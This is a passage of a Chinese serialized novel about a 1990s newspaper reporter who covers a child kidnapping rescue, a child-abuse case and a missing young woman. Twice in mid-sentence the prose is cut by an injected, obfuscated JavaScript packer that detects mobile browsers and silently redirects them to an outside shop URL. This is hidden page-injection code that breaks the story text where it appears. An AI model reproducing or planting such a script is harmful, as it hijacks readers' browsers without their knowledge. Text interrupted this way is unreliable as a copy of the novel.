凌晨一点，排查有了进展。有居民反映，看见一辆白色面包车停在某小区楼下，车里好像有孩子哭声。地址在海东区和海西区交界处，一片待拆迁的平房区。 “行动！”刘局长站起来，椅子在地面上刮出刺耳的声音，“便衣先摸过去，特警待命。” 叶葆启和摄影部记者也被允许跟随，但必须在安全距离外。两人穿上防弹背心——叶葆启第一次穿，那东西笨重，帆布面粗糙，插板硬邦邦的。他笨手笨脚，差点穿反。摄影部记者帮他整理好，低声说：“跟着我，别乱跑。”摄影部记者的手很稳，手指关节粗大，那是常年握相机磨出来的。 车队出发了。没有警笛，没有闪灯，像一群沉默的鱼，游进夜色里。车窗外的街景向后滑去，霓虹灯、路灯、偶尔走过的行人，都成了模糊的背景。 那个小区很偏，路灯昏暗，有的干脆不亮。路也坑坑洼洼，吉普车颠簸着，叶葆启的胃跟着上下翻腾。车停在远处，人步行靠近。叶葆启跟在摄影部记者后面，深一脚浅一脚，心跳得厉害，那声音在耳膜上咚咚敲打。 便衣已经就位，包围了那栋楼——一栋三层的老楼，墙皮剥落，露出底下红色的砖，像溃烂的伤口。窗户破了好几扇，用塑料布堵着，在风里呼啦啦响。三楼最西头的屋子亮着灯，昏黄的光从窗帘缝隙漏出来，隐约有人影晃动，像皮影戏。 特警也到了，黑色作战服，头盔，像一群夜行的豹子。他们悄无声息地散开，占据了有利位置。叶葆启看见一个特警蹲在墙角，调整着枪带，动作熟练得像在整理自己的手指。 时间一分一秒地过去。叶葆启蹲在墙角，能听见自己的心跳，咚咚咚，像打鼓。手里的采访本被汗浸湿了，字迹有些模糊，墨迹晕开，像流泪的眼睛。他闻到自己身上的汗味，还有防弹背心帆布的味道，那是尘土、汗水、还有某种金属的混合气味。 凌晨两点，行动开始。 没有口令，只是一个手势。特警破门而入，动作快得像闪电。叶葆启只听见“砰”一声闷响——不是巨响，而是沉重的、木头断裂的声音，接着是呵斥声，哭喊声，杂乱的脚步声。那些声音混在一起，像一场突如其来的暴雨。 “走！”摄影部记者拉了他一把。 两人冲进楼里。楼道很窄，堆满了杂物：破自行车、纸箱、蜂窝煤。上到三楼，门已经开了，歪斜地挂在合页上。屋里一片狼藉：一张破桌子倒了，暖水瓶碎了，水流了一地。一个男人被按在地上，脸贴着水泥地，铐着手铐，还在挣扎，喉咙里发出野兽般的低吼。角落里，一个孩子蜷缩着，身上裹着条脏毯子，瑟瑟发抖，像秋天最后一片挂在枝头的叶子。 “泽胜！”孩子的母亲冲进来，抱住孩子，放声大哭。那哭声终于释放了，撕心裂肺，像要把屋顶掀翻。 孩子好像吓傻了，不哭，不说话，只是睁大眼睛看着。那双眼睛极大，瞳孔黑得深不见底，里面映着晃动的光影，但没有任何内容，像两口枯井。 叶葆启站在门口，看着这一幕。摄影部记者在拍照，闪光灯啪啪地闪，每闪一次，世界就在瞬间变成黑白，然后沉回昏暗。光一次次照亮每一张脸：警察坚毅的脸，汗珠在额头上闪光；绑匪扭曲的脸，嘴角有血沫；母亲泪流满面的脸，泪水在闪光灯下变成银色的河流；孩子茫然的脸，像一张空白的纸。 他举起采访本，想记录，但手抖得厉害，写不出一个字。笔在纸上滑动，只留下歪歪扭扭的曲线，像垂死者的心电图。 后来是怎么下楼的，怎么上车的，他都记不清了。只记得回到分局时，天已经蒙蒙亮了。东方的天空泛起鱼肚白，然后是淡淡的橘红，像伤口结痂的颜色。孩子的父母在办手续，孩子被一个年轻女民警抱着，喂了热水。孩子终于哭出来了，不是大哭，而是细弱的、断断续续的啜泣，像刚出生的小猫。那哭声撕扯着每个人的心。 刘局长走过来，拍拍叶葆启的肩：“叶记者，辛苦了。”局长的手很重，拍在肩上，能感觉到掌心的老茧。 “孩子……没事吧？” “身体没大碍，就是吓着了。”刘局长说，“绑匪是个赌徒，欠了高利贷，狗急跳墙。已经审了，就一个人，没同伙。” 叶葆启松了口气。这时他才发现，防弹背心穿反了——硬邦邦的插板硌着胸口，怪不得一直不舒服。他想笑，却笑不出来。 摄影部记者看见了，笑：“葆启，你这背心穿的，真打起仗来，子弹从后面来怎么办？” 叶葆启也笑了，笑着笑着，眼睛湿了。他抹了把脸，手背上都是灰，混着泪水，成了泥。 回到报社，已经早晨七点。孙荣显还在值班，见他们回来，赶紧问：“怎么样？”他的眼睛里布满血丝，像地图上纵横的河流。 “孩子救出来了，绑匪抓了。”叶葆启瘫在椅子上，身体像掏空了的麻袋，“我得写稿。” “先睡会儿吧，眼睛都红了。” “不，现在就写。”叶葆启打开稿纸，铺在桌上。纸是报社专用的稿纸，淡绿色格子，像囚禁思想的牢笼。“这事得让市民知道，知道警察的辛苦，知道孩子的无辜。” 他写得很慢，很认真。钢笔在纸上沙沙响，像春蚕食叶。他写绑匪的凶残，写父母的煎熬，写警察的果断，写最后团聚的泪水。没有渲染，没有煽情，只是平实地记录，但每一个字都沉甸甸的，蘸着夜露和冷汗。 写完，已经上午九点。阳光从窗户斜射进来，照在稿纸上，墨迹未干，闪着幽微的光。他趴在桌上，睡着了。 醒来时是下午两点。脖子僵硬，胳膊麻木。稿子已经送审了，陈秉烛批了“发”，两个红字力透纸背。叶葆启看看表，该回家了。 骑车回家的路上，阳光很好，照在身上暖洋洋的。街上人来人往，一切如常。卖煎饼果子的摊前排着队，铲子刮在铁板上的声音刺啦刺啦响。孩子们在追逐嬉戏，笑声清脆。老人们坐在路边晒太阳，闭着眼睛，脸上的皱纹在光里舒展。 没有人知道，昨夜发生过什么。没有人知道，一个孩子差点回不了家，一对父母差点失去灵魂。 但这就是生活。表面平静，底下暗流涌动。而记者，就是潜入水底的人，把那些暗流记录下来，带到光天化日之下，让它们蒸发，或者结晶。 回到家，素琴正在洗衣服。大盆里堆着衣服，她挽着袖子，胳膊被冷水激得通红。见他回来，吓了一跳：“你脸色怎么这么差？”她的声音里有真切的惊慌。 “昨晚没睡，跟了个绑架案。” 素琴手里的衣服掉盆里了，溅起水花：“绑架案？你……你没受伤吧？”她的眼睛睁大，瞳孔收缩，那是母亲和妻子本能的恐惧。 “没有，就是跟着，没上前。”叶葆启把事简单说了。说的时候，他发现自己省略了很多细节：穿反的防弹背心，孩子空茫的眼睛，母亲撕心裂肺的哭声。有些东西，无法用语言承载。 素 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16904166|192343||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 琴听完，眼圈红了：“那孩子……跟小舟差不多大吧？” “嗯，八岁。” “天啊……”素琴捂住嘴，手指颤抖，“要是小舟……我不敢想。” 叶葆启抱住她。她的身体在微微发抖，像风中的芦苇。他闻到她头发上肥皂的味道，那是家的味道，安稳的，平常的，此刻却显得如此珍贵。 “不会的，小舟不会的。”他说，但声音没有底气。 小舟放学回来了，蹦蹦跳跳的，书包在背上晃荡，像只快乐的小鸟。 “爸爸！”他扑过来，身上有阳光和尘土的味道，“你今天怎么在家？” “爸爸昨晚加班，今天补休。” “那你陪我玩！” “好，陪你玩。” 爷俩在院里玩弹球。玻璃球滚来滚去，在阳光下闪闪发光，像一颗颗凝固的彩虹。小舟玩得很开心，笑声清脆，像银铃，在空气中碰撞、碎裂，洒下一地晶莹。 叶葆启看着儿子，想起了张泽胜那张惊恐的脸。同样的年纪，一个在阳光下欢笑，一个在噩梦中颤抖。命运啊，就是这么不公平，像一场随机撒下的种子，有的落在沃土，有的落在石缝。 “爸爸，你怎么了？”小舟看出他走神，眼睛眨巴着，长长的睫毛像小刷子。 “没事。”叶葆启摸摸他的头，头发柔软，带着孩童特有的温度，“爸爸就是觉得，你能这么开心，真好。” “我每天都开心！”小舟说，然后皱了皱鼻子，“除了写作业的时候。” 叶葆启笑了，笑着笑着，抱住了儿子，抱得很紧。他能感觉到儿子小小的心跳，急促的，有力的，像一颗刚刚启程的引擎。那是生命最原初的节奏。 “爸爸，你勒疼我了。” 叶葆启松开手，但眼睛湿了。他转过头，假装看天上的云。云很白，很软，像棉絮，慢悠悠地飘着，对人间的一切毫不知情。 晚饭时，他给小舟夹了很多菜，堆了满满一碗。红烧肉、炒青菜、煎鸡蛋，油光闪闪。小舟抗议：“爸爸，我吃不了这么多！” “多吃点，长身体。” “那你也多吃点。”小舟给他夹了块肉，肉颤巍巍的，酱汁滴在桌上，“爸爸，你昨晚抓坏人，辛苦了。” 叶葆启鼻子一酸：“爸爸没抓坏人，是警察叔叔抓的。” “那你也是英雄。”小舟很坚持，小脸严肃，“你是记者英雄。” 叶葆启笑了，笑着笑着，眼泪掉进了碗里。泪水是咸的，混着饭菜的滋味，成了生活复杂的味道。 素琴看见了，没说话，只是给他盛了碗汤。汤很烫，热气腾腾，模糊了她的脸。 夜里，叶葆启躺在床上，怎么也睡不着。一闭眼，就是张泽胜那双惊恐的眼睛，空茫的，深不见底的；就是绑匪扭曲的脸，嘴角的血沫；就是防弹背心穿反的滑稽，那滑稽底下是冰冷的恐惧；就是孩子母亲撕心裂肺的哭声，那哭声钻进骨头缝里，在里面生了根。 他起身，光脚下地。水泥地很凉，凉意从脚底直窜上来。他拿出采访本，翻到最后一页，写日记。钢笔在纸上沙沙响，在寂静的夜里，那声音像某种小动物在啃食时间： “1995年10月9日。绑架案惊魂夜。第一次穿防弹背心，穿反了，闹笑话。但笑不出来，那笑卡在喉咙里，成了硬块。 那个孩子，张泽胜，八岁，跟小舟一样大。他被救出来时，眼神是空的，像灵魂被抽走了，只剩下一具轻飘飘的壳。我不知道他以后会怎样，会不会每个夜晚都在噩梦中惊醒，会不会不敢走那条放学路，会不会在多年后的某个黄昏，突然想起这个夜晚，然后浑身颤抖。 他母亲抱着他哭，那种哭法，不是哭，是把内脏都掏出来的嚎叫。我当了父亲后，才懂那种恐惧——孩子是你的命，是你在这个世界上留下的最深的印记。丢了孩子，就等于丢了命，丢了活下去的全部理由。 警察很英勇，破门，抓捕，一气呵成。但最让我震撼的，是一个细节：一个年轻女警，可能还没结婚，抱着孩子，轻轻地拍，轻轻地哼歌，哼的是《摇篮曲》。孩子在她怀里，慢慢闭上了眼睛，睡着了。那一刻，她脸上有一种圣洁的光，那是人性在最黑暗时刻发出的微光。 这就是世界吧。有绑匪扭曲的脸，也有女警温柔的手；有孩子空洞的眼神，也有母亲不肯放弃的怀抱。黑暗和光明交织，像经纬线，织成了这块叫‘人间’的布。 写稿时，手在抖。不是怕，是沉重。记者的笔，有时候很轻，写风花雪月，写市井趣闻；有时候很重，要蘸着血和泪，蘸着深夜的冷汗和黎明的曙光。 但再重也得写。因为不写，人们就不知道这世界有多残酷，也不知道这世界有多温暖。不知道在平静的夜晚，有多少惊心动魄在上演；不知道在绝望的深渊，有多少双手在伸出来。 陈主任说过：好新闻是用命换来的。昨晚我没用到命，但用到了心。心在胸膛里跳了一整夜，跳得那么急，那么慌，像要挣脱肋骨飞出去。 心比命更珍贵。因为命只有一条，而心可以碎无数次，但每次碎了，还能拼凑起来，继续跳动，继续感受，继续爱和痛。” 写完，他合上本子。牛皮封面很硬，边缘磨损了，露出底下粗糙的纤维。他看向窗外，月亮很圆，很亮，像一面银盘，静静地挂在夜空里。月光洒进来，在地上铺了一层霜。他想起小时候听老人说，月亮是夜晚的伤口，流淌出银色的血，照亮人间。 明天，稿子会见报。油墨印在纸上，文字变成铅字，有了重量和实体。市民会知道，昨夜发生过这样一件事。他们会边吃早餐边看报，会感慨，会讨论，会说“太可怕了”或者“警察真厉害”，然后继续自己的生活，上班，下班，买菜，做饭。 但至少，有一个孩子回家了。至少，有一对父母不用再哭泣。至少，在这个夜晚，这座城市里，罪恶被制止，善良得到了回响。 这就是意义。微小的，但真实的意义。像暗夜里的一点萤火，虽然微弱，但毕竟亮着。 叶葆启躺下，闭上了眼睛。身体很累，每个关节都在酸痛。但心里有一种奇异的平静，像暴风雨后的海面，虽然还留着波浪的余痕，但已归于深沉。 这次，他睡着了。睡得很沉，没有梦。 因为知道，在这个夜晚，这座城市里，又多了一个平安的孩子，又多了一个团圆的家庭。又多了一段可以被讲述的故事，又多了一份可以被记忆的温暖。 而他，记录下了这一切。用颤抖的手，用浸汗的采访本，用一颗父亲的心，用记者的眼睛和笔。 这就是记者的使命。在深渊边缘行走，把看见的黑暗和光明都带回来，呈现给人间。 虽然沉重，但值得。 15. 第015章 冬月 雪粒与伤痕 十一月，内海被一场早来的雪笼罩。那雪下得细密，并非柔软的雪花，而是坚硬的雪粒，簌簌地落向城市。风一吹，便横着飞溅，打在脸上沙沙作响。一夜之间，四处覆上了一层僵硬的白。 办公室那台老式电话却比平日更为忙碌。年底时分，各式各样的声音沿着线路涌来。记录本一本接一本地写满，字迹潦草。 十一月二十日，上午九点零三分。叶葆启刚坐下，电话便响了起来。他拿起听筒，先是一段电流的嘶声，接着，一个女人的声音浮了上来，颤抖而压抑： “同志……你们能不能管管……孩子快受不了了……” 那声音里有一种被碾平后的沉寂。 叶葆启心头一紧。“您慢慢说，孩子在哪儿？” “叫梓宸，八岁，住海北区王庄……”女人的声音忽然被一阵急促的呼吸打断，“他爸，和后来进门的……孩子身上……我是偷着打的电话，你们快去……一看就明白了……” “地址请说具体些。” 女人报了个门牌号，声音压得更低：“千万……千万别说是我……说了，我也难办了。” 电话断了。忙音单调地重复。 叶葆启放下听筒，手心微凉。他立刻联系了曹东方，并向相关机构作了通报。下楼找到司机老赵时，雪粒正噼啪敲打着车窗。 “这天气，”老赵一边发动车子一边说，“出这种事，真是让人心里发堵。” 前往王庄的路显得格外漫长。车轮碾过薄冰，发出细碎的声响。路旁的树木枝条裹着冰凌。越往城乡结合部去，景象越是凌乱。雪未能掩盖这里的杂乱，反而让泥泞与杂物显出一种斑驳的脏污。空气里混杂着煤烟与潮湿腐败的气味。 车开不进小巷，两人在路口下车，踩着泥雪深一脚浅一脚前行。找到那个院子时，铁门紧闭，锈迹斑驳，里面静悄悄的。 敲门。先是轻叩，而后加重。过了许久，门后才传来拖沓的脚步声。铁门“吱呀”一声拉开一条窄缝。 一张男人的脸嵌在门缝里。四十多岁模样，胡茬杂乱，眼神浑浊。他穿着一件辨不清本色的棉袄。 “找谁？”声音粗嘎。 叶葆启出示了证件。“我们是记者。接到反映，您家孩子可能需要帮助，我们来了解一下情况。” 男人的脸顿时变了色，混杂着惊怒与难堪。“谁胡说八道？！”他就要关门。 叶葆启用脚抵住门缝。就在这时，屋里传来一声极其微弱的呜咽，细细的，却直刺耳膜。他不知哪来的力气，推门闯了进去。 屋里光线昏暗，窗户被旧报纸糊着。一股复杂的味道扑面而来：烟味、霉味、剩饭菜的气味，还有一种淡淡的药膏味。 靠墙的木板床上，蜷着一小团身影，盖着一条破旧的被子。叶葆启走过去，轻轻掀开被子一角。 他看见了。 事后多年，他都难以完全描述那一刻的所见。那是一个孩子布满伤痕的身体。 孩子察觉到动静，试图往被子里缩，但这个动作显然带来了痛楚。他咧了咧嘴，没出声，眼泪却从肿胀的眼缝里不断涌出。 “梓宸？”叶葆启的声音很轻。 那颗小脑袋极其轻微地点了一下。 “谁……？” 孩子的眼珠飞快地瞥向门口的男人，又缩回来，瞳孔里充满了恐惧。 这时，里屋门帘一挑，一个女人走了出来。她很年轻，烫着蓬松的卷发，穿着鲜红的毛衣，手里拿着一根藤条。看见陌生人，她愣了一下，随即脸上涌起怒意。 “你们是谁？闯人家里干什么？” 叶葆启站起身：“你是孩子的母亲？” “是又怎么样？我管教自己孩子，碍着谁了？”她挥了挥藤条。 “管教？”叶葆启指向床上，“这叫管教？” “你懂什么！”女人声音尖利起来，“这孩子不听话！不该管？” “怎么不听话？有什么依据？” 女人语塞，眼神游移。男人这时挤过来，狠狠推了叶葆启一把：“我家的事，轮不到外人插嘴！出去！” 曹东方上前隔开对方：“我们接到正式反映，有责任了解情况。请你们配合。” 争吵声在这狭小空间里膨胀。就在僵持时，外面传来了人声——相关机构的两位同志，带着一位医生赶到了。医生看到孩子的情况后，脸色立刻严肃起来。 “必须马上送医院检查！”他的声音很紧，“有些伤口需要专业处理！” 男人和女人还想阻拦，但来的同志态度坚决。“孩子我们现在必须带走。请你们配合工作。” 或许是意识到无法阻拦，男人最终侧身让开了路。那一瞬，他脸上闪过一种复杂的、难以解读的神情。 医生小心地用被子裹住孩子，抱了起来。孩子轻得出奇。叶葆启脱下自己的大衣，加盖在外面。孩子的脸靠在大衣领口，眼睛透过肿胀的缝隙，茫然地看着外界。 车上，孩子蜷在叶葆启怀里，不住地发抖。那不是因为寒冷，而是一种从内里透出的战栗。叶葆启轻轻拍着他。过了许久，一个细微的声音响起： “叔叔……我冷……” “就到医院了，那里暖和。” “叔叔……我会不会……” “不会的。”叶葆启尽可能让声音平稳，“医生会帮你。” 孩子不再说话，只是用手紧紧攥住了叶葆启大衣的一角。 医院里，消毒水的气味弥漫。急诊室的灯光明亮。孩子被送去处理伤口，他疼得身体紧绷，却死死咬着嘴唇，不哭出声。 诊断结果陆续出来。医生拿着病历，面色沉重：“营养不良，另外，”他顿了顿，“左侧有两根肋骨是陈旧性骨折，已经愈合了，但没长正。” “愈合了？”曹东方低声重复。 这意味着，骨折发生已有一段时间，在无人知晓的情况下，骨头自己歪斜地长合了。 孩子被送入病房，沉沉睡去。相关同志去办理手续，叶葆启和曹东方站在走廊。窗外的雪还在下。 曹东方点了支烟，手有些不稳。“葆启，咱们见过不少事……可这个……” 叶葆启没说话。他脑海里全是那些伤痕的形状。 医生走出来，摘下口罩，脸上带着疲惫。“情况暂时稳定了。但需要长期治疗，心理上的恢复更不容易。”他看了看两人，“谢谢你们送他来。这样的状况……我们并非第一次见。” 回报社的路上，雪更密了。叶葆启看着窗外流转的街景，感到一种疏离。他的心仿佛也被这场雪覆盖了，空旷而冷。 他必须写。摊开稿纸，笔尖沉重。他写孩子的伤，写父亲口中的“管教”，写那根油亮的藤条，写诊断书上那些名词背后真实的痛楚。写得很慢。 稿子交给陈秉烛主任审阅。老主任看了许久，摘下眼镜，揉了揉眉心。编辑部里只有日光灯管的微响。 “葆启，”陈秉烛终于开口，声音低沉，“这文章发了，动静不会小。” “我知道。” “那家人，可能还有其他人，会来闹。会有压力，甚至麻烦。”陈秉烛目光锐利，“你想清楚了？” “想清楚了。”叶葆启说，“我更怕这孩子白白受苦，怕还有别的孩子陷在这样的境地里，无人知晓。” 陈秉烛盯着他看了几秒，拿起红笔，在稿签上用力划了一个圈，写下二字：照发。 文章次日见报。头版右下角，篇幅不大，却像雪地里一个醒目的印记。 电话从清晨起便响个不停。听筒里传来各种声音：关切的询问，理性的探讨，也有不解的质疑。 一个中年男子的来电，让叶葆启握紧了听筒。那声音平静，甚至带着某种说理的意味： “叶记者，你写是容易。你知道重组家庭有多难？管严了，说你是苛待；管松了，又说你不负责。孩子要是真学坏了，将来问题更大，谁承担？老话说‘严是爱’，总有道理。” 叶葆启克制着情绪，对着话筒一字一句回应： “先生，教育有很多方法。暴力，尤其是造成伤害的暴力，是最不可取的一种。您不妨看看文章里描述的伤情。” 电话那头沉默片刻，挂断了。 上午十点多，前台来电，声音紧张：“叶记者，那孩子的父母来了，在门口，情绪激动。” 叶葆启下楼。报社玻璃门外围着些人。那对夫妻被保安拦着，正在激动地说着什么。男人看见叶葆启，眼睛立刻红了，往前冲又被拦住。 “你写的什么文章！你让我们怎么见人！”男人嘶吼着，“我跟你没完！” “国师傅，”叶葆启站定，声音清晰，“让你们难堪的，是我的文章，还是孩子身上的伤？” 男人的咆哮噎住了，脸涨得通红，胸膛起伏，却说不出话。 女人在旁边哭喊起来：“我们知道不对了！我们改！你非要登报，让所有人都指责我们！孩子以后怎么办？” 叶葆启转向她：“你们当初动手的时候，想过孩子的‘以后’吗？他才八岁。” 围观的人群中传来议论声。两人的气势渐渐萎顿。男人狠狠瞪了叶葆启一眼，那眼神复杂难言，然后拽着女人，低头挤开人群，踉跄离去。 叶葆启没有感到轻松。这里没有赢家。 下午，他去了医院。梓宸醒着，脸上的纱布让他看起来像个静默的小雕塑。看到叶葆启，他眼里似乎微弱地亮了一下。 “叔叔……” “好些了吗？” “嗯……”孩子小声应道，停了停，“这里……比家里好。” “家里不好吗？” “家里……总是疼。这里……只有伤口疼。” 叶葆启在床边坐下，拿起一个苹果慢慢削着。 “会有叔叔阿姨来帮你。”他轻声说。 孩子沉默了很久。忽然，他问： “爸爸……会被带走吗？” 叶葆启的手微微一颤。“……可能会。他做了很不对的事。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16904167|192343||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 孩子的眼泪无声涌出，浸湿了纱布边缘。他没有哭出声。 “我不想……爸爸被带走。”他抽噎着说。 叶葆启怔住了。“为什么？他伤害了你。” “因为……他是我爸爸。”孩子的声音被泪水浸得柔软，“他以前……给我买过棉花糖……带我去河边看船……我发烧时，他背着我跑得很快……” 叶葆启张了张嘴，发不出声音。他感到一种巨大的、沉甸甸的悲哀。这个孩子在承受了如此多痛苦后，记忆深处紧紧攥着的，竟是棉花糖的甜，河面的船，和父亲奔跑时的喘息。 他坐了许久，直到孩子哭着睡去。离开病房时，护士长叫住了他，面色凝重地把他引到僻静处。 “叶记者，”护士长压低声音，“孩子的详细检查……发现一些需要进一步关注的情况。我们已经按规定上报了。事情……可能比表面更复杂。” 护士长没有再说，只是用一个沉重的眼神看了叶葆启一眼。叶葆启明白了。一股寒意从他脊背升起。 他不知道自己如何走出医院的。雪已停，天色阴沉如铅。风卷起地上的雪沫，打在脸上。街上开始有年节的气氛，店铺挂起红灯，孩子偶尔燃放的小鞭炮传来脆响和笑声。 这笑声，此刻听来遥远而不真实。他脑海里只有护士长那个眼神，和那句“更复杂”。所有的线索与细节，在这一刻被串联起来，指向一个幽暗的深处。 骑车回家，手脚冰冷麻木。街景流过，不留痕迹。 到家时，天已黑透。自家窗户透出温暖的橘光。妻子在厨房忙碌，食物香气飘散。儿子小舟趴在桌上写作业，听见门响抬起头，眼睛明亮： “爸爸！你回来啦！今天学的‘老吾老以及人之老’，老师说关心别人要像关心自己家人一样……爸爸，你写的那个小朋友，他好点了吗？” 叶葆启走过去，一把将儿子紧紧搂进怀里。 “爸爸？你怎么了？”小舟瓮声问。 “没什么，”叶葆启把脸埋在儿子柔软的头发里，“爸爸就是想抱抱你。好好抱抱你。” 晚饭时，叶葆启食不知味。妻子看着他，轻声问：“是不是……那孩子情况不好？还有别的发现？” 叶葆启抬起头，看着妻子关切的眼睛。他感到一种强烈的疲惫，以及某种难以言说的浑浊感。他张了张嘴，最终艰难地点了点头。 妻子从他的脸色和眼神中明白了什么。她手里的汤勺轻轻落在桌上，捂住嘴，眼中充满了惊骇与泪意。 “怎么会……怎么有人能这样……” “我不知道，”叶葆启声音沙哑，“人心的暗处，到底能有多深。” 夜里，他彻底失眠。一闭眼，便是交错伤痕，是畸形愈合的肋骨形状，是孩子带泪的眼睛，是护士长那沉重的一瞥。他起身开灯，翻开本子，笔尖悬在纸上，颤抖良久。 终于，他写道： “一九九五年冬月廿一。雪未融。 今日我记下一个孩子。他八岁，名叫梓宸。 他的父亲称那是‘管教’。他的继母称那是‘教训’。他们在这个小小的身体上，留下了各种印记。 我写了很重的文章。心像浸透了冰水，又冷又硬。 医护人员告知，伤情有疑。那疑云比所有可见的伤痕更沉。我站在医院走廊，感到无声的雷在胸腔震动。 何为‘家’？门扉之内，有时竟是哭声传不出的孤岛。旁人听见，或侧目，或沉默，皆遵从那古老的默契：‘家务事，外人莫问’。于是，许多事在沉默中滋长。 陈主任说，记者需有直面真实的勇气。今日，我直面了。撕开的，何止是体面？更是温情表象下的暗影，或许，还有我对人性底线残存的估量。 那景象我不愿再见，但我必须记录。因为若不记，不写，不呼喊，那孩子与许多如他一般的孩子，便永远被锁在门后的暗处，被‘家’之名悄然吞噬。 这是我的职责，亦是我的负重。笔重千钧，写下的每一字，或许都是叩向暗门的一声响。未必能破门，但至少，让内外皆知：光在外等候，暗中有事发生。 路长雪夜漫。然雪停之后，总有些印记会显露。有些伤，须见天日，方有愈合之始——纵使那愈合，终究带着难以磨平的痕迹。” 写完，他搁下笔，仿佛耗尽力气。走到院中，寒风刺骨，却让人清醒。雪早已停了，地上一片均匀的白，映着朦胧夜色。天空是深厚的靛蓝，几颗星子微弱闪烁。 他仰头深吸一口冷气，寒意直透肺腑。远处，不知何处的火车拉响汽笛，声音悠长苍凉，穿透寂静雪夜，奔向前方的黑暗或黎明。 明日，雪将化，路会更泥泞。他还要去医院，面对孩子的眼睛；还要去该去之处，了解进展；还要写后续，追问制度与人心。 这条路，并非黑白分明，多是深浅不一的灰。但他得走下去。带着这支笔，带着这点不肯熄灭的微光。 因为，总得有人，记住这雪的冷，与那些看不见的伤痕。 16. 第016章 寻找郭娟 腊月的内海，年味像一锅熬过头的糖浆，稠得化不开，甜得发腻。街巷里的彩灯不是挂上去的，是从天上长出来的——那些红的、绿的、黄的灯泡，在朔风里一明一灭，像无数只疲倦的眼睛，眨巴着看这人间的热闹。商店喇叭里，“恭喜发财”唱了千百遍，唱得词儿都软了、化了，变成甜腥腥的雾，裹着每一个行人。人们提着年货在雾里走，脸是笑着的，笑里却透出某种被年关催赶的慌张。 叶葆启值白班。办公室的窗玻璃上，赵宛芳剪的那只公鸡活过来了——每天清晨，它能喔喔地叫上三声，羽毛在日光下泛起金红色的光，冠子抖得簌簌响。桌上的水仙也不安分，那些嫩绿的花苞夜里会悄悄开放，吐出带着铁锈味儿的香气。这屋子里的一切都有了魂儿。 电话是上午十点响的。铃声尖利，刺穿了年味的甜腻。叶葆启接起来，听见电流嘶嘶作响，夹杂着一个女人从很远很远地方飘来的声音——像是从地缝里钻出来的，又像是从水底浮上来的： “记者同志……我女儿丢了……她叫郭娟……” 声音里带着南方的湿气，黏糊糊的，每个字都像在梅雨天里浸泡过，沉甸甸地砸在听筒上。 “您慢慢说。” “她二十一岁，在内海打工……幼儿园教师……上个星期还说回家过年……电话打不通了……” 女人开始哭。那哭声很怪，不是从喉咙出来的，是从骨头缝里渗出来的，嘶啦嘶啦的，像破风箱。叶葆启握着话筒的手心出了汗。他在记录本上写：郭娟，二十一岁，南方人，德盛幼儿园。笔尖划破纸页，墨水洇开来，像一滴黑色的泪。 记录到“十二月十五日失联”时，窗玻璃上的公鸡突然不叫了。它转过头，用滚圆的眼珠子盯着叶葆启，眼神里有种说不清的悲悯。 老赵开车去小盐地。路上堵得厉害，车流像一锅煮僵了的饺子，黏在一起动弹不得。老赵按喇叭，喇叭声被年货的甜雾吸走了，闷闷的，发不出劲。叶葆启看见车窗外，有个卖糖葫芦的老头，稻草把子上的糖葫芦红得发亮，亮得瘆人——每一颗山楂都是一只眼睛，滴溜溜地转，看着这停滞的车流，看着车里焦急的人。 德盛幼儿园的园长秃顶，头顶油光光的，能照见人影。他说话时，头顶的光晕一圈圈荡开，像投石入水。“郭娟请假了……说要回家……”他的声音在光晕里变形，变得飘忽不定。 女教师宿舍在幼儿园后面，是栋简易楼。楼梯会呼吸——人踩上去，它就呻吟；人停下来，它就叹息。郭娟的宿舍在二楼，门开着，像一张欲言又止的嘴。 小王在收拾东西。她很瘦，眼睛大得不成比例，眼白多于眼黑，看人时像两颗浸在水里的玻璃弹珠。她说郭娟有个男朋友，“穿皮衣，骑大摩托，摩托车排气筒喷出的烟是蓝色的，有股烧焦头发的味道”。 叶葆启翻郭娟的纸箱。衣服是普通的衣服，书是普通的书，但相册不普通——那些照片会动。在幼儿园门口那张，郭娟的工装下摆在风里微微飘；在河边那张，她的长发真的在飘，一缕一缕，像水草；全家福里，三个人都在笑，笑着笑着，父母的眼角淌下泪来，泪珠在相纸上凝住，变成透明的琥珀。 笔记本的最后一页，那行字在跳：“她说带我去北京，看天安门。我要不要信？”每个字都长了细小的脚，在纸页上爬来爬去，最后排成一个问号的形状，那个点特别黑，黑得像深渊。 小王哭了。她的眼泪不是水，是细小的珍珠，滚落在地上，叮叮当当响。叶葆启捡起一颗，放在手心，珍珠里映出郭娟的脸——惊恐的，张着嘴，在喊什么，但没有声音。 报案后的第三天，全城的寻人启事都活了。报纸上郭娟的照片，眼睛会眨泪花；电台里念出的名字，会在夜空里凝成发光的字，飘一会儿才散；电视台播的画面更奇——郭娟从屏幕里走出来，在每户人家的客厅里站三秒，说“我想回家”，然后化成一缕烟。 出租车司机打来电话时，叶葆启正在吃午饭。筷子夹起一根豆芽，豆芽忽然扭动起来，变成一条透明的小蛇，嘶嘶地说：“火车站……她去火车站了……” 内海站的监控录像里，郭娟在出站口等人。她穿着照片里那件浅蓝色外套，但外套的颜色在监控里不断变化——蓝变灰，灰变白，最后变成透明的，能看见她身体里心脏在跳，一跳，一跳，跳得很急。那个五十岁的女人出现了，穿得很好，但衣服的料子不对——那不是布，是无数细小的鳞片，走动时哗啦哗啦响。她们上了出租车，车开走时，排气管喷出的烟也是蓝色的，和小王说的一样。 